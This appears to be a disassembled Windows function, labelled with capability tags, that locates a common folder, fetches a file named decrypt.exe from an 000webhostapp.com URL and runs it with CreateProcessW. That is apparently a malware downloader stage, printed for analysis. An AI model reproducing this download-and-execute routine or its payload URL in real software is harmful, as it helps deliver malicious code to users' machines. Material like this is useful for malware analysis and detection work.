Function at 0x140149862
Capabilities:
Create process on windows
Get common file path

Disassembly:
jmp 0x14016ed40
push rbp
push rdi
sub rsp, 0x7f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x15a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140471b00]
xor rax, rbp
mov qword [rbp + 0x790], rax
lea rcx, [0x140496148]
call fcn.14014bcfc
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x238]
call fcn.140147508
nop
lea rcx, [rbp + 0x694]
call fcn.1401468ab
mov qword [rbp + 0x768], rax
lea rax, [rbp + 0x6b8]
mov qword [rbp + 0x6e8], rax
mov rdx, qword [rbp + 0x6e8]
lea rcx, [rbp + 0x238]
call fcn.14014a3b1
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rbp + 0x778], rax
lea rax, [rbp + 0x708]
mov qword [rbp + 0x738], rax
mov rdx, qword [rbp + 0x738]
lea rcx, [rbp + 0x238]
call fcn.14014844e
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x788], rax
mov r9, qword [rbp + 0x768]
mov r8, qword [rbp + 0x778]
mov rdx, qword [rbp + 0x788]
lea rcx, [rbp + 0x278]
call fcn.1401486fb
nop
lea r8, str.decrypt.exe
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x2b8]
call fcn.14014a519
nop
lea rcx, [rbp + 0x2b8]
call fcn.14014599c
mov qword [rbp + 0x2f8], rax
mov rdx, qword [rbp + 0x2f8]
lea rcx, str.https:__fonqqa0rfoutqructznfzudsrdhgeqxeuptevarkgnd.000webhostapp.com_decrypt.exe
call fcn.14014b7f7
nop
jmp 0x14016ee8c
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [0x1403ea5e0]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x338]
call fcn.14014ae6a
nop
lea rdx, [rbp + 0x338]
lea rcx, [0x140474cd0]
call fcn.140148d31
mov qword [rbp + 0x768], rax
lea rdx, [0x1401484df]
mov rcx, qword [rbp + 0x768]
call fcn.14014a56e
lea rcx, [rbp + 0x338]
call fcn.140147580
mov qword [rbp + 0x378], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x3a0]
call fcn.14014a118
mov dword [rbp + 0x3a0], WSAGetLastError
lea rax, [rbp + 0x428]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x378]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14016f00c
lea rdx, str.Erreur_lors_du_lancement_du_processus_:
lea rcx, [0x140474b80]
call fcn.140145b5e
mov qword [rbp + 0x768], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x770], eax
mov edx, dword [rbp + 0x770]
mov rcx, qword [rbp + 0x768]
call fcn.140147805
mov qword [rbp + 0x778], rax
lea rdx, [0x14014541f]
mov rcx, qword [rbp + 0x778]
call fcn.140148778
mov dword [rbp + 0x754], 1
lea rcx, [rbp + 0x338]
call fcn.14014ac8a
nop
lea rcx, [rbp + 0x2b8]
call fcn.1401463c9
nop
lea rcx, [rbp + 0x278]
call fcn.1401463c9
nop
lea rcx, [rbp + 0x238]
call fcn.14014ac8a
mov eax, dword [rbp + 0x754]
jmp 0x14016f072
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x338]
call fcn.14014ac8a
nop
lea rcx, [rbp + 0x2b8]
call fcn.1401463c9
nop
lea rcx, [rbp + 0x278]
call fcn.1401463c9
nop
lea rcx, [rbp + 0x238]
call fcn.14014ac8a
jmp 0x14016f070
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_htonl
call fcn.14014a9ba
mov rax, rdi
mov rcx, qword [rbp + 0x790]
xor rcx, rbp
call fcn.14014847b
lea rsp, [rbp + 0x7a8]
pop rdi
pop rbp
ret